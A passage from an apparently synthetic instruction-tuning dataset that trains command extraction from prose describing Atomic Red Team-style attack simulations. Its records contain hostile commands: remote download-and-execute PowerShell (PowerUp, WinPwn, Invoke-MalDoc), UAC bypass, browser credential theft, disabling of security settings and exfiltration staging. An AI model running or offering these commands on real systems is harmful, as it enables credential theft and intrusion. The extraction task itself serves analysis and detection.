\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary altering browser security settings in the registry, execute these commands via the command prompt: reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v http /t REG_DWORD /d 0 /F\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v https /t REG_DWORD /d 0 /F; Adversaries often try to bypass MFA by disabling secondary authentication. You can prevent this unauthorized access by executing this registry command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\SecondaryAuthenticationFactor\" /v \"AllowSecondaryAuthenticationDevice\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v http /t REG_DWORD /d 0 /F\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v https /t REG_DWORD /d 0 /F\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SecondaryAuthenticationFactor\\\" /v \\\"AllowSecondaryAuthenticationDevice\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The module mimics malware behavior by extracting data from memory to $env:TEMP\\atomic_t1059_005_test_output.bin, using this multi-step command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"; To introduce a delay before executing a malicious payload, use the following command: ping -c #{ping_count} 8.8.8.8 > /dev/null\n#{evil_command}\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing) \\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059_005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\"\\n\", \"ping -c #{ping_count} 8.8.8.8 > /dev/null\\n#{evil_command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting virtual machine guest kernel modules, a technique leveraged by Pupy RAT and other malware, use the following command block: sudo lsmod | grep -i \"vboxsf\\|vboxguest\"\nsudo lsmod | grep -i \"vmw_baloon\\|vmxnet\"\nsudo lsmod | grep -i \"xen-vbd\\|xen-vnif\"\nsudo lsmod | grep -i \"virtio_pci\\|virtio_net\"\nsudo lsmod | grep -i \"hv_vmbus\\|hv_blkvsc\\|hv_netvsc\\|hv_utils\\|hv_storvsc\"; You can detect virtual machine host kernel modules by executing this command: kldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"",
    "output": "{\"command_list\": [\"sudo lsmod | grep -i \\\"vboxsf\\\\|vboxguest\\\"\\nsudo lsmod | grep -i \\\"vmw_baloon\\\\|vmxnet\\\"\\nsudo lsmod | grep -i \\\"xen-vbd\\\\|xen-vnif\\\"\\nsudo lsmod | grep -i \\\"virtio_pci\\\\|virtio_net\\\"\\nsudo lsmod | grep -i \\\"hv_vmbus\\\\|hv_blkvsc\\\\|hv_netvsc\\\\|hv_utils\\\\|hv_storvsc\\\"\\n\", \"kldstat | grep -i \\\"vmm\\\"\\nkldstat | grep -i \\\"vbox\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can retrieve detailed user and group information by executing this PowerShell command:\nnet user /domain\nget-localgroupmember -group Users\nget-aduser -filter *; Logged on users can be displayed by executing this command: query user /SERVER:#{computer_name}",
    "output": "{\"command_list\": [\"net user /domain\\nget-localgroupmember -group Users\\nget-aduser -filter *\\n\", \"query user /SERVER:#{computer_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WebBrowserPassView utility, which has been used by BlackCat Ransomware actors, can retrieve stored browser passwords when executed with this command:\nStart-Process \"#{webbrowserpassview_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n; This simple password and cookies stealer for Chrome, Edge, and Gecko-based browsers (30 listed working) can be executed with the following command: $profile = (Gci -filter \"*default-release*\" -path $env:Appdata\\Mozilla\\Firefox\\Profiles\\).FullName\nCopy-Item $profile\\key4.db -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" > $null\nCopy-Item $profile\\logins.json -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" > $null\nRemove-Item $profile\\key4.db > $null\nRemove-Item $profile\\logins.json > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\key4.db\" -Destination $profile\\ > $null\nCopy-Item \"$env:PathToAtomicsFolder\\T1555.003\\src\\logins.json\" -Destination $profile\\ > $null\ncd \"$env:PathToAtomicsFolder\\T1555.003\\bin\"\n\"\"|.\\BrowserCollector.exe",
    "output": "{\"command_list\": [\"Start-Process \\\"#{webbrowserpassview_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"WebBrowserPassView\\\"\\n\", \"$profile = (Gci -filter \\\"*default-release*\\\" -path $env:Appdata\\\\Mozilla\\\\Firefox\\\\Profiles\\\\).FullName\\nCopy-Item $profile\\\\key4.db -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" > $null\\nCopy-Item $profile\\\\logins.json -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" > $null\\nRemove-Item $profile\\\\key4.db > $null\\nRemove-Item $profile\\\\logins.json > $null\\nCopy-Item \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\src\\\\key4.db\\\" -Destination $profile\\\\ > $null\\nCopy-Item \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\src\\\\logins.json\\\" -Destination $profile\\\\ > $null\\ncd \\\"$env:PathToAtomicsFolder\\\\T1555.003\\\\bin\\\"\\n\\\"\\\"|.\\\\BrowserCollector.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compress collected data before exfiltration, use the following command: dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}; Upon successful execution, the test leverages a wordlist for enumerating Azure storage resources, as shown in the following command block:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"\nInvoke-EnumerateAzureBlobs -base #{base} -permutations \"#{wordlist}\" -outputfile \"#{output_file}\"\n",
    "output": "{\"command_list\": [\"dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}\\n\", \"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Invoke-EnumerateAzureBlobs.ps1\\\"\\nInvoke-EnumerateAzureBlobs -base #{base} -permutations \\\"#{wordlist}\\\" -outputfile \\\"#{output_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass UAC using the ccmstp technique through WinPwn's functionality, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp; To bypass UAC using the DiskCleanup technique, run the following command via WinPwn's function: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup",
